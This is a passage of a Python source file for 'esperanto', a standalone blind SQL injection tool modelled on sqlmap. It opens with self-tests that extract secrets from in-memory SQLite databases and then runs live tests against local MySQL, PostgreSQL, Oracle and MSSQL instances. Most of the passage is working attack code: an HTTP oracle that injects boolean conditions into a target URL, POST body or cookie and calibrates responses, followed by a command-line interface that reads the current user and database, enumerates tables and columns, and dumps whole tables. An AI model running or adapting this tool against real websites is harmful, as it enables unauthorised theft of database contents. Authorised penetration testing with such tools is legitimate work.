got = esp.extract("(SELECT name FROM users WHERE id=1)")
|
||||
assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare)
|
||||
assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got)
|
||||
print(" %-8s mode: %-52r -> extracted %r in %d queries" % (
|
||||
expected, dialect, got, esp.queryCount))
|
||||
# equality mode exercised directly (charset scan)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
esp.dialect.compare = "equality"
|
||||
assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42"
|
||||
print(" equality mode: charset-scan extraction -> OK")
|
||||
|
||||
# the detective: name the backend blind
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
verdict = esp.identify()
|
||||
assert verdict["product"] == "SQLite", "identify failed: %r" % verdict
|
||||
print(" identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict)
|
||||
|
||||
# bytes-first extraction: byte-exact, encoding chosen by the caller
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
mb = "('A' || CHAR(233) || CHAR(8364))" # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source)
|
||||
raw = esp.extractBytes(mb)
|
||||
assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw
|
||||
assert esp.extractText(mb) == u"A\xe9\u20ac"
|
||||
print(" extractBytes: %r extractText: %r" % (raw, esp.extractText(mb)))
|
||||
|
||||
# quorum: a noisy oracle that flips/errors a minority of probes must not corrupt.
|
||||
# tested across several seeds so the pass doesn't hinge on one lucky sequence.
|
||||
import random as _random
|
||||
for seed in (1234, 7, 99, 2026):
|
||||
base = _sqliteOracle()
|
||||
rng = _random.Random(seed)
|
||||
|
||||
def noisy(cond, _b=base, _r=rng):
|
||||
roll = _r.random()
|
||||
if roll < 0.12:
|
||||
raise RuntimeError("transient") # 12% errors (resampled)
|
||||
if roll < 0.20:
|
||||
return not _b(cond) # 8% lies
|
||||
return _b(cond)
|
||||
|
||||
esp = Esperanto(noisy, quorum=6)
|
||||
esp.discover()
|
||||
got = esp.extract("(SELECT name FROM users WHERE id=1)")
|
||||
assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got)
|
||||
print(" quorum=6 under 20%% noisy oracle (12%% err + 8%% lies) -> 'Admin-42' across 4 seeds")
|
||||
|
||||
# -- integrity guards (peer-review round 4) --------------------------------
|
||||
# empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated
|
||||
assert not ExtractResult("") and not ExtractResult(None)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
zero = esp.extractResult("'abc'", limit=0)
|
||||
assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero
|
||||
# an invalid expression must NOT masquerade as a complete SQL NULL
|
||||
bad = esp.extractResult("NO_SUCH_FN(1)")
|
||||
assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad
|
||||
# integer extraction must raise, not saturate
|
||||
try:
|
||||
esp.extractInteger("100", maximum=10)
|
||||
assert False, "extractInteger saturated silently"
|
||||
except OverflowError:
|
||||
pass
|
||||
# an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees:
|
||||
# (a) discovery aborts (a broken oracle can't manufacture a working dialect); while
|
||||
# probing candidate rungs an unobservable probe reads False, so sanity fails ->
|
||||
# RuntimeError, never a bogus discovered dialect
|
||||
try:
|
||||
Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover()
|
||||
assert False, "broken oracle silently discovered a dialect"
|
||||
except RuntimeError:
|
||||
pass
|
||||
# (b) a DATA READ never manufactures False from an unobservable probe: it raises
|
||||
# OracleUndecided (the whole point - a flaky read must not corrupt a bit)
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down")) # break it post-discovery
|
||||
try:
|
||||
esp.extract("(SELECT MAX(name) FROM users)")
|
||||
assert False, "undecided oracle silently became data"
|
||||
except OracleUndecided:
|
||||
pass
|
||||
# embedded/leading NUL must not truncate (whole-value verification recovers it)
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE t (a TEXT)")
|
||||
con.execute("INSERT INTO t VALUES (?)", ("A\x00B",))
|
||||
con.commit()
|
||||
|
||||
def nulOracle(cond):
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(nulOracle)
|
||||
esp.discover()
|
||||
nul = esp.extractResult("(SELECT a FROM t)")
|
||||
assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul
|
||||
|
||||
# -- round-5 adversarial regressions --------------------------------------
|
||||
esp = Esperanto(_sqliteOracle(), maxlen=0)
|
||||
esp.discover()
|
||||
z = esp.extractResult("'abc'")
|
||||
assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z
|
||||
esp = Esperanto(_sqliteOracle())
|
||||
esp.discover()
|
||||
for bad in (("-100", 10), ("100", 10)): # symmetric integer cap
|
||||
try:
|
||||
esp.extractInteger(bad[0], maximum=bad[1])
|
||||
assert False, "int cap not enforced for %s" % bad[0]
|
||||
except OverflowError:
|
||||
pass
|
||||
try: # None observation -> undecided
|
||||
Esperanto(lambda c: None, retries=0)._ask("1=1")
|
||||
assert False, "None became False"
|
||||
except OracleUndecided:
|
||||
pass
|
||||
try: # hard query budget
|
||||
Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1")
|
||||
assert False, "budget not enforced"
|
||||
except QueryBudgetExceeded:
|
||||
pass
|
||||
esp = Esperanto(_sqliteOracle()) # ordered PoC refused in equality mode
|
||||
esp.discover()
|
||||
esp.dialect.compare = "equality"
|
||||
try:
|
||||
esp.poc("'A'")
|
||||
assert False, "equality-mode PoC fabricated ordering"
|
||||
except RuntimeError:
|
||||
pass
|
||||
# a UTF-16 code-unit fn returning an isolated surrogate must not be "complete"
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE s (v TEXT)")
|
||||
con.execute(u"INSERT INTO s VALUES ('\U0001F642')")
|
||||
con.create_function("ASCII", 1, lambda x: None if not x else (
|
||||
ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10)))
|
||||
con.commit()
|
||||
nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR")
|
||||
|
||||
def surOracle(cond):
|
||||
if nohex.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(surOracle)
|
||||
esp.discover()
|
||||
sur = esp.extractResult("(SELECT v FROM s)")
|
||||
assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur
|
||||
|
||||
print(" integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded")
|
||||
|
||||
# -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface --
|
||||
oracle = _sqliteOracle()
|
||||
esp = Esperanto(oracle)
|
||||
esp.discover()
|
||||
strat = esp.strategy()
|
||||
try: # immutable
|
||||
strat.compare_mode = "x"
|
||||
assert False, "strategy is not frozen"
|
||||
except AttributeError:
|
||||
pass
|
||||
# extract using ONLY the strategy + oracle (no Esperanto retrieval code)
|
||||
got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)")
|
||||
assert got.value == "Admin-42" and got.exact, "hostExtract via strategy failed: %r" % got
|
||||
row = strat.asQueriesRow()
|
||||
assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row
|
||||
print(" strategy: frozen + hostExtract('%s')=%r (exact) + queries.xml row rendered" % (strat.compare_mode, got.value))
|
||||
print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)")
|
||||
|
||||
|
||||
def _livetest(only=None, waf=False):
|
||||
"""Live blind validation against real DBMS instances (dev harness, '--live').
|
||||
Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as
|
||||
False, the transaction rolled back per probe - and is never told which engine it
|
||||
is poking. Requires the driver + a reachable instance; skips what it can't reach."""
|
||||
import re as _re
|
||||
SECRET = "Zagreb-Ka5tel"
|
||||
block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None
|
||||
|
||||
def cursor(con, wrap):
|
||||
def ask(cond):
|
||||
if block and block.search(cond):
|
||||
return False
|
||||
cur = con.cursor()
|
||||
try:
|
||||
cur.execute(wrap % cond)
|
||||
row = cur.fetchone()
|
||||
return bool(row) and int(row[0]) == 1
|
||||
except Exception:
|
||||
try:
|
||||
con.rollback()
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
finally:
|
||||
try:
|
||||
cur.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ask
|
||||
|
||||
def prep(con, ddl):
|
||||
cur = con.cursor()
|
||||
for stmt in ddl:
|
||||
try:
|
||||
cur.execute(stmt)
|
||||
except Exception:
|
||||
if hasattr(con, "rollback"):
|
||||
con.rollback()
|
||||
con.commit()
|
||||
cur.close()
|
||||
|
||||
def sqlite():
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def mysql():
|
||||
import pymysql
|
||||
con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab")
|
||||
prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
|
||||
"INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def postgres():
|
||||
import psycopg2
|
||||
con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb")
|
||||
prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
|
||||
"INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
def oracle():
|
||||
import oracledb
|
||||
con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1")
|
||||
prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;",
|
||||
"CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL")
|
||||
|
||||
def mssql():
|
||||
import pymssql
|
||||
con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master")
|
||||
prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe",
|
||||
"CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
|
||||
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
|
||||
|
||||
ok = True
|
||||
for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres),
|
||||
("Oracle", oracle), ("MSSQL", mssql)):
|
||||
if only and name.lower() not in only:
|
||||
continue
|
||||
try:
|
||||
oracle_fn = factory()
|
||||
except Exception as ex:
|
||||
print(" %-12s SKIP (%s)" % (name, ex))
|
||||
continue
|
||||
esp = Esperanto(oracle_fn)
|
||||
try:
|
||||
esp.discover()
|
||||
got = esp.extract("(SELECT MAX(name) FROM esp_probe)")
|
||||
product = esp.identify()["product"]
|
||||
except Exception as ex:
|
||||
print(" %-12s FAIL (%s)" % (name, ex))
|
||||
ok = False
|
||||
continue
|
||||
passed = got == SECRET
|
||||
ok = ok and passed
|
||||
print(" %-12s %s product=%-12r secret=%r%s" % (
|
||||
name, "PASS" if passed else "FAIL", product, got, " [WAF]" if waf else ""))
|
||||
return ok
|
||||
|
||||
|
||||
def _httpOracle(url, data=None, cookie=None, headers=None, string=None, code=None):
|
||||
"""A boolean oracle over a real HTTP target, for standalone use. The condition is
|
||||
substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply
|
||||
the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with
|
||||
` AND (<condition>)`.
|
||||
|
||||
True/false is decided by a reduced port of sqlmap's response differentiation - the
|
||||
Pareto 80%: explicit --string/--code win; otherwise it CALIBRATES from
|
||||
two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable
|
||||
signal - HTTP status code, else a stable text line present in true but not false,
|
||||
else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it
|
||||
robust: DYNAMIC content (lines that differ between two identical true requests, e.g.
|
||||
timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed
|
||||
from the body so it can't skew the match (sqlmap's "reflective values ... filtering
|
||||
out"). Not a replacement for checkBooleanExpression - just its high-value core."""
|
||||
import difflib
|
||||
try: # py3
|
||||
from urllib.parse import quote as _quote, urlsplit
|
||||
from http.client import HTTPConnection, HTTPSConnection
|
||||
except ImportError: # py2
|
||||
from urllib import quote as _quote
|
||||
from urlparse import urlsplit
|
||||
from httplib import HTTPConnection, HTTPSConnection
|
||||
|
||||
if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")):
|
||||
url = url + "*" # no marker given -> inject at the end of the URL by default
|
||||
print("[i] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url)
|
||||
|
||||
# ONE kept-alive connection reused across every probe. a blind dump is thousands of
|
||||
# requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of
|
||||
# pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x.
|
||||
_conn = {"c": None, "key": None}
|
||||
|
||||
def _fresh(scheme, netloc):
|
||||
return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30)
|
||||
|
||||
def fetch(cond):
|
||||
# encode the INJECTED fragment fully and splice it into the (already-encoded) URL, so a
|
||||
# '&' or '%' produced by the SQL (Access '&' concat, LIKE '%') becomes %26/%25 inside the
|
||||
# parameter VALUE - it can't turn into a new HTTP parameter separator or a stray escape.
|
||||
if "[INFERENCE]" in (url + (data or "")): # verbatim marker (caller owns context)
|
||||
payload = _quote(cond, safe="")
|
||||
u_raw = url.replace("[INFERENCE]", payload)
|
||||
d_raw = data.replace("[INFERENCE]", payload) if data else data
|
||||
else: # '*' -> boolean AND at the mark
|
||||
ins = _quote(" AND (%s)" % cond, safe="")
|
||||
u_raw = url.replace("*", ins, 1) if "*" in url else url
|
||||
d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data
|
||||
parts = urlsplit(u_raw) # the surrounding URL is already user-encoded
|
||||
path = parts.path or "/"
|
||||
if parts.query:
|
||||
path += "?" + parts.query
|
||||
body = d_raw.encode("utf-8") if d_raw else None
|
||||
method = "POST" if body else "GET"
|
||||
hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"}
|
||||
if body:
|
||||
hdrs["Content-Type"] = "application/x-www-form-urlencoded"
|
||||
if cookie:
|
||||
hdrs["Cookie"] = cookie
|
||||
for h in (headers or []):
|
||||
k, _, v = h.partition(":")
|
||||
hdrs[k.strip()] = v.strip()
|
||||
key = (parts.scheme, parts.netloc)
|
||||
for attempt in (1, 2): # reuse the socket; reconnect once if it dropped
|
||||
if _conn["c"] is None or _conn["key"] != key:
|
||||
if _conn["c"] is not None:
|
||||
try:
|
||||
_conn["c"].close()
|
||||
except Exception:
|
||||
pass
|
||||
_conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key
|
||||
try:
|
||||
_conn["c"].request(method, path, body, hdrs)
|
||||
resp = _conn["c"].getresponse() # http.client returns 4xx/5xx too (no raise)
|
||||
raw, status = resp.read(), resp.status # read fully so the socket stays reusable
|
||||
return raw.decode("utf-8", "replace"), status
|
||||
except Exception:
|
||||
try:
|
||||
_conn["c"].close()
|
||||
except Exception:
|
||||
pass
|
||||
_conn["c"] = None # force a reconnect on the retry
|
||||
return None, None # transport FAILED -> undecided, NOT ("",0)
|
||||
# (an empty body must never look like a False page)
|
||||
|
||||
dyn = set()
|
||||
|
||||
def _deReflect(body, cond):
|
||||
return body.replace(cond, "") if cond else body # drop the reflected payload
|
||||
|
||||
def _clean(body, cond):
|
||||
body = _deReflect(body, cond)
|
||||
return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body
|
||||
|
||||
mode, wanted, base = None, None, {}
|
||||
if string is not None:
|
||||
mode = "string"
|
||||
elif code is not None:
|
||||
mode, wanted = "code", int(code)
|
||||
else: # auto-calibrate
|
||||
(t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2")
|
||||
if t1 is None or t2 is None or f1 is None:
|
||||
raise SystemExit("[!] cannot calibrate oracle: transport failed on a control request")
|
||||
dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic
|
||||
tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2")
|
||||
if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false
|
||||
mode, wanted = "code", s1
|
||||
else:
|
||||
# (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is
|
||||
# in the true page but not the false one, capped to a "longish" string (never the
|
||||
# whole document) and verified stable across BOTH true baselines
|
||||
t2c = _clean(t2, "1=1")
|
||||
blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes()
|
||||
chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks
|
||||
if op in ("insert", "replace")), key=len, reverse=True)
|
||||
wanted = None
|
||||
for chunk in chunks:
|
||||
marker = chunk[:64] # bounded, distinctive marker
|
||||
if len(marker) >= 6 and marker in t2c and marker not in fc:
|
||||
mode, wanted = "autostring", marker
|
||||
break
|
||||
if wanted is None: # (3) similarity ratio floor
|
||||
mode, base = "ratio", {"t": tc, "f": fc}
|
||||
if string is None:
|
||||
print("[i] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else ""))
|
||||
|
||||
def classify(cond):
|
||||
body, status = fetch(cond)
|
||||
if body is None: # transport failure -> UNDECIDED (tri-state):
|
||||
return None # let the engine retry/degrade, never a fake bool
|
||||
if mode == "string":
|
||||
return string in body
|
||||
if mode == "code":
|
||||
return status == wanted
|
||||
if mode == "autostring":
|
||||
return wanted in _clean(body, cond)
|
||||
c = _clean(body, cond)
|
||||
st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio()
|
||||
sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio()
|
||||
if abs(st - sf) < _RATIO_MARGIN: # too close to call -> undecided, not a coin-flip
|
||||
return None
|
||||
return st > sf
|
||||
|
||||
state = {"n": 0, "dead": False}
|
||||
|
||||
def oracle(cond):
|
||||
# PERIODIC control revalidation: over thousands of requests the baseline can drift
|
||||
# (auth expiry, rate-limit page, CDN challenge, redeploy, marker swap). Every 256 probes
|
||||
# re-run the known controls; if 1=1/1=2 stop separating, SUSPEND (return undecided) rather
|
||||
# than keep feeding a broken model into bisection.
|
||||
state["n"] += 1
|
||||
if state["n"] % 256 == 0 or state["dead"]:
|
||||
t, f = classify("1=1"), classify("1=2")
|
||||
state["dead"] = not (t is True and f is False)
|
||||
if state["dead"]:
|
||||
print("[!] oracle controls no longer separate (1=1=%r, 1=2=%r) - suspending" % (t, f))
|
||||
return None
|
||||
return classify(cond)
|
||||
|
||||
return oracle
|
||||
|
||||
|
||||
def _safeterm(s):
|
||||
"""Neutralize control/escape bytes in DB content before it reaches the terminal - stored
|
||||
values can carry ANSI cursor/title/OSC sequences, embedded newlines or fake log prefixes
|
||||
that would otherwise manipulate or forge the operator's console."""
|
||||
if s is None:
|
||||
return s
|
||||
# escape C0 (< 0x20), DEL (0x7f) AND C1 (0x80-0x9f) controls - a bare 0x9b is an ANSI CSI
|
||||
# introducer, so leaving the C1 range through would still let stored content drive the terminal
|
||||
return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
|
||||
|
||||
|
||||
def _printTable(columns, rows):
|
||||
"""Render a bordered, column-aligned table (sqlmap-style) instead of raw ' | ' joins."""
|
||||
cells = [["NULL" if v is None else _safeterm(v) for v in row] for row in rows]
|
||||
widths = [max([len(columns[i])] + [len(r[i]) for r in cells]) for i in range(len(columns))]
|
||||
bar = "+" + "+".join("-" * (w + 2) for w in widths) + "+"
|
||||
line = lambda vals: "| " + " | ".join(v.ljust(widths[i]) for i, v in enumerate(vals)) + " |"
|
||||
print(bar)
|
||||
print(line(columns))
|
||||
print(bar)
|
||||
for r in cells:
|
||||
print(line(r))
|
||||
print(bar)
|
||||
|
||||
|
||||
import binascii as _binascii
|
||||
_HEX = set("0123456789abcdefABCDEF")
|
||||
|
||||
|
||||
def _previewFramed(partial):
|
||||
"""A hex-framed row payload decoded into the value AS IT ARRIVES - including the in-progress
|
||||
token's completed bytes - so the live line grows CHARACTER BY CHARACTER, like sqlmap. Handles
|
||||
BOTH grammars: length-framed `V<len>:<hex>;` / `N;` and the legacy `V<hex>` / `N` (','-sep).
|
||||
Returns None when `partial` isn't a framed payload."""
|
||||
if not partial or partial[0] not in "NV" or any(c not in _HEX and c not in ",:;NV" for c in partial):
|
||||
return None
|
||||
|
||||
def _dec(h):
|
||||
h = h[:len(h) - (len(h) % 2)] # only WHOLE bytes so far
|
||||
try:
|
||||
return _binascii.unhexlify(h).decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return "?"
|
||||
|
||||
out = []
|
||||
if ";" in partial or ":" in partial: # length-framed grammar: V<len>:<hex>; / N;
|
||||
for t in partial.split(";"):
|
||||
if not t:
|
||||
continue
|
||||
if t == "N":
|
||||
out.append("NULL")
|
||||
elif t.startswith("V"):
|
||||
_lp, _sep, hx = t[1:].partition(":")
|
||||
out.append(_dec(hx))
|
||||
return ", ".join(out)
|
||||
for t in partial.split(","): # legacy grammar
|
||||
if t == "N":
|
||||
out.append("NULL")
|
||||
elif t.startswith("V"):
|
||||
out.append(_dec(t[1:]))
|
||||
return ", ".join(out)
|
||||
|
||||
|
||||
def _scalar(esp, expr):
|
||||
"""A user-facing scalar that DISPLAYS its integrity instead of erasing it: an inexact
|
||||
(truncated / case-ambiguous / unverified) value is shown with its status, never as if exact."""
|
||||
r = esp.extractResult(expr)
|
||||
if r.value is None:
|
||||
return "NULL" if r.is_null else "n/a (unresolved)"
|
||||
return _safeterm(r.value) if r.exact else "%s [%s]" % (_safeterm(r.value), r.integrity)
|
||||
|
||||
|
||||
def _report(esp, args):
|
||||
"""Run the requested action(s) against a discovered target and print the results."""
|
||||
print("[*] dialect: %r" % esp.dialect)
|
||||
verdict = esp.identify()
|
||||
print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or ""))
|
||||
# scope schema/db lookups to -D, else the current database (and, for a specific table,
|
||||
# the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system
|
||||
# schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a
|
||||
# garbage 0-row dump. mirrors the sqlmap handler's _scopeFor.
|
||||
scope = args.db
|
||||
if scope is None and (args.tables or args.columns or args.dump):
|
||||
dbexpr = esp.dialect.identity.get("database")
|
||||
try:
|
||||
r = esp.extractResult(dbexpr) if dbexpr else None
|
||||
# the scope name becomes a keyset bound / schema qualifier - a case/accent-ambiguous
|
||||
# spelling would mis-target (merge a system-schema table, yield a 0-row dump), so
|
||||
# require a byte-exact read, exactly as the sqlmap handler's _safeExtract does.
|
||||
cur = r.value if (r and r.exact) else None
|
||||
if r and r.value and not r.exact:
|
||||
print("[!] scope database name not byte-exact (%s) - not scoping" % r.integrity)
|
||||
except Exception:
|
||||
cur = None
|
||||
if args.tbl and (args.columns or args.dump):
|
||||
try:
|
||||
scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur)
|
||||
except Exception:
|
||||
scope = cur
|
||||
else:
|
||||
scope = cur
|
||||
if scope:
|
||||
print("[i] scoping to database/schema: %s" % scope)
|
||||
if args.current_user:
|
||||
expr = esp.dialect.identity.get("user")
|
||||
print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a"))
|
||||
if args.current_db:
|
||||
expr = esp.dialect.identity.get("database")
|
||||
print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a"))
|
||||
if args.tables:
|
||||
print("[i] fetching tables ...")
|
||||
print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or ["<none>"]))
|
||||
if args.columns:
|
||||
if not args.tbl:
|
||||
print("[!] --columns needs -T <table>")
|
||||
else:
|
||||
print("[i] fetching columns for '%s' ..." % args.tbl)
|
||||
print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or ["<none>"])))
|
||||
if args.dump:
|
||||
if not args.tbl:
|
||||
print("[!] --dump needs -T <table>")
|
||||
else:
|
||||
cols = [c.strip() for c in args.col.split(",")] if args.col else None
|
||||
if cols is None: # enumerate columns FIRST (own phase), so the
|
||||
print("[i] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names
|
||||
cols = esp.columns(args.tbl, schema=scope) or None
|
||||
print("[i] fetching entries for table '%s' ..." % args.tbl)
|
||||
# NO silent internal cap: dump ALL rows (bounded by the live COUNT) and always
|
||||
# print whether the result came back complete.
|
||||
try:
|
||||
limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10
|
||||
except Exception:
|
||||
limit = 1 << 30
|
||||
result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit)
|
||||
if not result or not result["columns"]:
|
||||
print("[!] could not dump %s" % args.tbl)
|
||||
else:
|
||||
tag = "" if result["complete"] else " - INCOMPLETE (%s)" % (result.get("keyed_by") or "best-effort")
|
||||
if not result.get("exact", True): # coverage complete but content collation-dependent
|
||||
tag += " - INEXACT (case/accents may differ)"
|
||||
print("[*] Table: %s (%d entries%s)" % (args.tbl, len(result["rows"]), tag))
|
||||
_printTable(result["columns"], result["rows"])
|
||||
|
||||
|
||||
def _banner():
|
||||
# modest CLI identity, sqlmap-styled: a small globe (DBMS-agnostic/universal) + the Esperanto
|
||||
# green star. Colored only on a TTY; pure-ASCII (no coding header on this file); text columns
|
||||
# aligned at a fixed offset so the escape codes (zero display width) don't skew them.
|
||||
import sys as _sys
|
||||
tty = _sys.stdout.isatty()
|
||||
G = "\033[0;32m" if tty else "" # esperanto green (the globe)
|
||||
S = "\033[1;32m" if tty else "" # bright green (the star)
|
||||
W = "\033[1;37m" if tty else "" # bold white (the name)
|
||||
U = "\033[4;37m" if tty else "" # underline (the site)
|
||||
R = "\033[0m" if tty else ""
|
||||
return (
|
||||
" %(G)s___%(R)s\n"
|
||||
" %(G)s/ _ \\%(R)s %(W)sesperanto%(R)s {%(ver)s}\n"
|
||||
" %(G)s| (_) |%(R)s\n"
|
||||
" %(G)s\\___/ %(S)s*%(R)s %(U)s%(site)s%(R)s\n"
|
||||
) % dict(G=G, S=S, W=W, U=U, R=R, ver=__version__, site=_SITE)
|
||||
|
||||
|
||||
def main(argv=None):
|
||||
"""Standalone entry point: drive the engine against a live HTTP target."""
|
||||
import argparse
|
||||
|
||||
class _Formatter(argparse.HelpFormatter):
|
||||
# show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'),
|
||||
# like sqlmap's own help, so option/help stays on a single line
|
||||
def __init__(self, prog):
|
||||
argparse.HelpFormatter.__init__(self, prog, max_help_position=28)
|
||||
|
||||
def _format_action_invocation(self, action):
|
||||
if not action.option_strings or action.nargs == 0:
|
||||
return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action)
|
||||
metavar = self._format_args(action, action.dest.upper()) # py2/py3-portable default metavar
|
||||
return "%s %s" % (", ".join(action.option_strings), metavar)
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
prog="esperanto", formatter_class=_Formatter,
|
||||
usage="esperanto -u URL [options]", # short synopsis, not an auto-listing of every flag
|
||||
description="DBMS-agnostic blind-SQLi enumeration engine (standalone)")
|
||||
parser.add_argument("--version", action="version", version="esperanto %s (%s)" % (__version__, _SITE))
|
||||
parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)")
|
||||
parser.add_argument("--data", help="POST data string")
|
||||
parser.add_argument("--cookie", help="HTTP Cookie header")
|
||||
parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)")
|
||||
parser.add_argument("--string", help="match string for a True response")
|
||||
parser.add_argument("--code", type=int, help="HTTP code for a True response")
|
||||
parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner")
|
||||
parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user")
|
||||
parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database")
|
||||
parser.add_argument("--tables", action="store_true", help="enumerate tables")
|
||||
